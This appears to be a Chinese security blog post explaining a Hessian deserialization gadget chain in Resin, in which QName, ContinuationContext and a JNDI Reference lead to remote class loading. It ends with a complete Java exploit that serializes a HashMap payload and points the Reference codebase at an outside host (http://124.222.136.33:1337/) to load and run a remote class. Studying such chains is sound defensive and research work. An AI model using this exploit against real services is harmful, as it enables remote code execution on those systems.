首页 > 其他分享 >【Web】浅聊Hessian反序列化之Resin的打法——远程类加载

【Web】浅聊Hessian反序列化之Resin的打法——远程类加载

时间:2024-03-15 10:59:12浏览次数:26  
标签:Web hash target 浅聊 QName toString new 序列化 String

目录

前言

原理分析

XString:触发恶意类toString

QName的设计理念?

远程恶意类加载Context:ContinuationContext

QName:恶意toString利用

hash相等构造

EXP


前言

精神状态有点糟糕,随便学一下吧

首先明确一个朴素的认知:当Hessian反序列化Map类型的对象的时候,会自动调用其put方法,而put方法又会牵引出各种相关利用链打法。

对于HashMap,可以利用key.equals(k),当此处的key为XString时,就可以调用参数k的toString方法,从而进行恶意利用,这里在打Rome的HotSwappableTargetSource链时也有过涉及:

【Web】浅聊Java反序列化之Rome——关于其他利用链-CSDN博客

而这里传入equals的参数QName的toString方法的利用点是context属性的远程类加载。

原理分析

XString:触发恶意类toString

当XString#equals参数为Object时,方法逻辑如下

  public boolean equals(Object obj2)
  {

    if (null == obj2)
      return false;

      // In order to handle the 'all' semantics of
      // nodeset comparisons, we always call the
      // nodeset function.
    else if (obj2 instanceof XNodeSet)
      return obj2.equals(this);
    else if(obj2 instanceof XNumber)
        return obj2.equals(this);
    else
      return str().equals(obj2.toString());
  }

最后的意思是如果非空obj2既不是XNodeSet,也不是XNumber的实例,那么将当前对象转换为字符串形式,再与obj2的字符串形式进行比较,从而调用传入的obj2#toString

当obj2为精心构造的QName时,也就有了下面的故事

 

QName的设计理念?

在Rome里我们有toStringBean来进行恶意toString利用,在Resin里,我们可以利用QName的恶意toString

在具体聊QName#toString前,我们先得对啥是QName有个朴素的认知

QName类的描述,直接来了波大的,其表示一个解析后的 JNDI 名称

先从QName的构造函数开始看吧

public QName(Context context, String first, String rest) {
        this._context = context;
        if (first != null) {
            this._items.add(first);
        }

        if (rest != null) {
            this._items.add(rest);
        }

    }

根据构造函数可以推测,QName对象的功能是用于表示一个JNDI限定名(qualified name),通过传入的Context对象以及两个字符串参数(first和rest),QName对象可以将这些信息组合起来形成一个完整的限定名。

Context为何?

看一下Context接口的描述

该接口表示一个命名上下文,包含一组名称到对象的绑定,它包含用于检查和更新这些绑定的方法 ,其实就是JNDI的相关操作。

OKOK点到为止

远程恶意类加载Context:ContinuationContext

其构造方法接受一个CannotProceedException和Hashtable

CannotProceedException是javax.naming异常体系中的一种异常,通常在使用JNDI(Java命名和目录接口)进行命名操作时可能会抛出。它的作用是表示无法继续进行命名操作的异常情况。

我们要通过对cpe的精心构造来触发后续利用

构造如下:

        String refAddr = "http://124.222.136.33:1337/";
        String refClassName = "calc";

        Reference ref = new Reference(refClassName, refClassName, refAddr);

        Object cannotProceedException = Class.forName("javax.naming.CannotProceedException").getDeclaredConstructor().newInstance();
        String classname = "javax.naming.NamingException";
        setFiled(classname, cannotProceedException, "resolvedObj", ref);

至于为什么这样构造,现在可能看不懂,但其实结合后面的分析就十分显然了,不作赘述

先对照Reference构造方法看一看

再扔出两条调用链,细品

cpe.getResolvedObj()——>refInfo——>ref——>ref.getFactoryClassName()——>f——>factoryName
cpe.getResolvedObj()——>refInfo——>ref.getFactoryClassLocation()——>codebase

QName:恶意toString利用

再看QName#toString

通过一个for循环遍历当前对象所包含的元素,对集合中的每个元素进行处理。在循环中,获取当前元素的字符串表示并赋值给str。然后进入一个条件判断:

  • 如果name不为null,则调用上下文(this._context)的composeName方法,传入str和name作为参数,得到的结果赋值给name。
  • 如果composeName方法抛出命名异常(NamingException),则捕获异常,在name后面拼接"/"和当前元素的字符串表示str。
  • 如果name为null,直接将当前元素的字符串表示赋值给name。

我们这里令_context为ContinuationContext

跟进ContinuationContext#composeName(请忽略下面的ctx.composeName,它不在我们利用链中,这条链的核心就是ctx的远程加载类)

 跟进ContinuationContext#getTargetContext

 

为了进到NamingManager.getContext我们需要满足下面两个条件

contCtx == null,在构造中本身就不设置,所以不需要考虑
cpe.getResolvedObj()返回不为null(其实返回的就是我们上面给CannotProceedException构造的恶意Reference),同时在关键点参数中也会用到,因此这里需要构造,不会为null

 

跟进NamingManager.getContext

顾名思义,猜测其就是对恶意Reference进行一个实例化

机翻一下描述:“为指定的对象和环境创建一个对象实例。 如果安装了对象工厂构建器,则会使用它来创建用于创建对象的工厂。否则,将使用以下规则来创建对象: 如果 refInfo 是包含工厂类名称的 Reference 或 Referenceable,请使用命名工厂来创建对象。如果无法创建工厂,请返回 refInfo”

public static Object
    getObjectInstance(Object refInfo, Name name, Context nameCtx,
                      Hashtable<?,?> environment)
    throws Exception
{


    // Use reference if possible
    Reference ref = null;
    if (refInfo instanceof Reference) {
        ref = (Reference) refInfo;
    } else if (refInfo instanceof Referenceable) {
        ref = ((Referenceable)(refInfo)).getReference();
    }

    Object answer;

    if (ref != null) {
        String f = ref.getFactoryClassName();
        if (f != null) {
            // if reference identifies a factory, use exclusively

            // 关键点
            factory = getObjectFactoryFromReference(ref, f);
            // ....
    }
    // ...
}

其实就是需要远程加载恶意类(对象工厂),根据代码,需要让refInfo为Reference实例,同时ref.getFactoryClassName()不为空,至于设置成什么,继续观察后面方法,来到getObjectFactoryFromReference方法

其实这里的逻辑已经呼之欲出了,是去codebase加载calc类

 stepinto,发现就是用URLClassLoader来加载远程类

 跟进loadClass

 最后返回值,回到NamingManager#getObjectFactoryFromReference,完成类的实例化

 

 

hash相等构造

HashMap#put中有着下述逻辑

调用key.equals(k),需要满足以下条件:①p.hash==hash,②p.key!=key,③key!=null

后两者是好解决的,主要问题在hash相等构造上

关注XString的hashCode方法

 

跟进str()

即将m_obj属性转换成字符串类型返回,最后调用String的hashCode方法进行hash计算,这里的m_obj即是实例化XString传入的参数 

我们只要让m_obj的hash值等于QName的hash值就可

现在的关键点在于根据String类的hashCode逻辑,得到该方法的逆操作,即根据hash值得到对应的string,然后将其作为m_obj

详细的逆操作算法我没太搞明白,就先当工具用吧(

 public static String unhash ( int hash ) {
        int target = hash;
        StringBuilder answer = new StringBuilder();
        if ( target < 0 ) {
            // String with hash of Integer.MIN_VALUE, 0x80000000
            answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");

            if ( target == Integer.MIN_VALUE )
                return answer.toString();
            // Find target without sign bit set
            target = target & Integer.MAX_VALUE;
        }

        unhash0(answer, target);
        return answer.toString();
    }
    private static void unhash0 ( StringBuilder partial, int target ) {
        int div = target / 31;
        int rem = target % 31;

        if ( div <= Character.MAX_VALUE ) {
            if ( div != 0 )
                partial.append((char) div);
            partial.append((char) rem);
        }
        else {
            unhash0(partial, div);
            partial.append((char) rem);
        }
    }

 hash相等构造利用

QName qName = new QName(continuationContext, "foo", "bar");
        String str = unhash(qName.hashCode());

 

EXP

pom依赖

 <dependencies>
        <dependency>
            <groupId>com.caucho</groupId>
            <artifactId>resin</artifactId>
            <version>4.0.63</version>
        </dependency>
        <dependency>
            <groupId>com.caucho</groupId>
            <artifactId>hessian</artifactId>
            <version>4.0.63</version>
        </dependency>
    </dependencies>

召唤计算器的神奇咒语

package com.Resin;

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.SerializerFactory;
import com.caucho.naming.QName;
import com.sun.org.apache.xpath.internal.objects.XString;
import javax.naming.CannotProceedException;
import javax.naming.Context;
import javax.naming.Reference;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;

public class Resin {
    public static void main(String[] args) throws Exception {
        String refAddr = "http://124.222.136.33:1337/";
        String refClassName = "calc";

        Reference ref = new Reference(refClassName, refClassName, refAddr);

        Object cannotProceedException = Class.forName("javax.naming.CannotProceedException").getDeclaredConstructor().newInstance();
        String classname = "javax.naming.NamingException";
        setFiled(classname, cannotProceedException, "resolvedObj", ref);

        // 创建ContinuationContext对象
        Class<?> aClass = Class.forName("javax.naming.spi.ContinuationContext");
        Constructor<?> constructor = aClass.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
        // 构造方法为protected修饰
        constructor.setAccessible(true);
        Context continuationContext = (Context) constructor.newInstance(cannotProceedException, new Hashtable<>());


        // 创建QName
        QName qName = new QName(continuationContext, "foo", "bar");
        String str = unhash(qName.hashCode());
        // 创建Xtring
        XString xString = new XString(str);

        // 创建HashMap
        HashMap hashMap = new HashMap();
        hashMap.put(qName, "111");
        hashMap.put(xString, "222");

        // 序列化
        FileOutputStream fileOutputStream = new FileOutputStream("ResinHessian.bin");
        Hessian2Output hessian2Output = new Hessian2Output(fileOutputStream);
        SerializerFactory serializerFactory = new SerializerFactory();
        serializerFactory.setAllowNonSerializable(true);
        hessian2Output.setSerializerFactory(serializerFactory);
        hessian2Output.writeObject(hashMap);
        hessian2Output.close();

        // 反序列化
        FileInputStream fileInputStream = new FileInputStream("ResinHessian.bin");
        Hessian2Input hessian2Input = new Hessian2Input(fileInputStream);
        HashMap o = (HashMap) hessian2Input.readObject();

    }

    public static void setFiled(String classname, Object o, String fieldname, Object value) throws Exception {
        Class<?> aClass = Class.forName(classname);
        Field field = aClass.getDeclaredField(fieldname);
        field.setAccessible(true);
        field.set(o, value);
    }

    public static String unhash ( int hash ) {
        int target = hash;
        StringBuilder answer = new StringBuilder();
        if ( target < 0 ) {
            // String with hash of Integer.MIN_VALUE, 0x80000000
            answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");

            if ( target == Integer.MIN_VALUE )
                return answer.toString();
            // Find target without sign bit set
            target = target & Integer.MAX_VALUE;
        }

        unhash0(answer, target);
        return answer.toString();
    }
    private static void unhash0 ( StringBuilder partial, int target ) {
        int div = target / 31;
        int rem = target % 31;

        if ( div <= Character.MAX_VALUE ) {
            if ( div != 0 )
                partial.append((char) div);
            partial.append((char) rem);
        }
        else {
            unhash0(partial, div);
            partial.append((char) rem);
        }
    }
}

 

标签:Web,hash,target,浅聊,QName,toString,new,序列化,String
From: https://blog.csdn.net/uuzeray/article/details/136727060

相关文章

  • HttpWebChilent上传与下载进度条
    HttpClientHandlerhand=newHttpClientHandler();ProgressMessageHandlerprocessMessageHander=newProgressMessageHandler(hand);HttpClientlocalHttpClient=newHttpClient(processMessageHander);HttpRequestMessagehttpRequestMessage=newHttpRequestMes......
  • webScoket离线消息暂存,上线发送
    webScoket离线消息暂存,上线发送用webScoket的即时聊天通讯,功能可群发单发,可对不在线用户发送消息时用户一上线立马就能收到消息,也可以查看未读数量导入依赖<dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-websocket</arti......
  • Day04---Web前端基础
    定时器的实际应用开发者,我们基于定时器结合js操作css样式或者html代码,就可以实现各种的酷炫的动态交互效果了。<!DOCTYPEhtml><htmllang="en"><head><metacharset="UTF-8"><title>Title</title><style>div{width:150px......
  • 使用Nginx将大模型Web应用部署到公网
    使用Nginx将大模型Web应用部署到公网大模型训练完毕后,我们可以用SWIFT快速构建一个WebDemo大模型Web应用,本文将介绍如何使用Nginx将大模型Web应用部署到公网。在进行后续步骤之前,先按照搭建一个大模型API服务中的方法安装好SWIFT框架,并激活到你的conda环境。启动大模型Web应用......
  • Java序列化和反序列化机制
    Java的序列化和反序列化机制问题导入:在阅读ArrayList源码的时候,注意到,其内部的成员变量动态数组elementData被Java中的关键字transient修饰transient关键字意味着Java在序列化时会跳过该字段(不序列化该字段)而Java在默认情况下会序列化类(实现了Java.io.Serializable接口......
  • Javaweb项目使用本地servlet启动,可以弹出主页,跳转到controller报404解决方案
    首先检查项目的资源路径,以及tomcat配置,有没有部署,上下文配置好如果问题依然出现,那么可以考虑tomcat版本与依赖不匹配,我用的是tomcat10,使用使用这个依赖,就解决了这个问题,jakarta.servletjakarta.servlet-api5.0.0provided,相应的匹配版本可以查询到。......
  • Invicti v24.3.0 for Windows - Web 应用程序安全测试
    Invictiv24.3.0forWindows-Web应用程序安全测试InvictiStandard12Mar2024v24.3.0请访问原文链接:https://sysin.org/blog/invicti/,查看最新版。原创作品,转载请保留出处。作者主页:sysin.orgInvicti是一种自动化但完全可配置的Web应用程序安全扫描程序,使您能够扫......
  • 【python】自动化工具Selenium与playwright去除webdriver检测
    对这个世界如果你有太多的抱怨跌倒了就不敢继续往前走为什么人要这么的脆弱堕落请你打开电视看看多少人为生命在努力勇敢的走下去我们是不是该知足珍惜一切就算没有拥有                     ......
  • web漏洞:RCE代码及命令执行
    概述:RCE漏洞可以让攻击者直接向后台服务器远程注入操作命令或代码,从而控制后台系统,分为远程系统命令执行和远程代码执行。远程系统命令执行:(危害:执行系统命令)一般出现这种漏洞是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口(比如路由器,防火墙,入侵检测等设......
  • .NetCore Web Api 项目Docker部署
    .NetCoreWebApi项目Docker部署.Net5之后版本编写的项目代码编译后均可以分别部署在Windows、Linux系统下。只需要安装对应的SDK或者运行时。这篇文章主要介绍.Net项目编译之后通过docker镜像部署WebApi项目了解dotnet命令dotnet命令详细说明链接。不得不说微软的文档......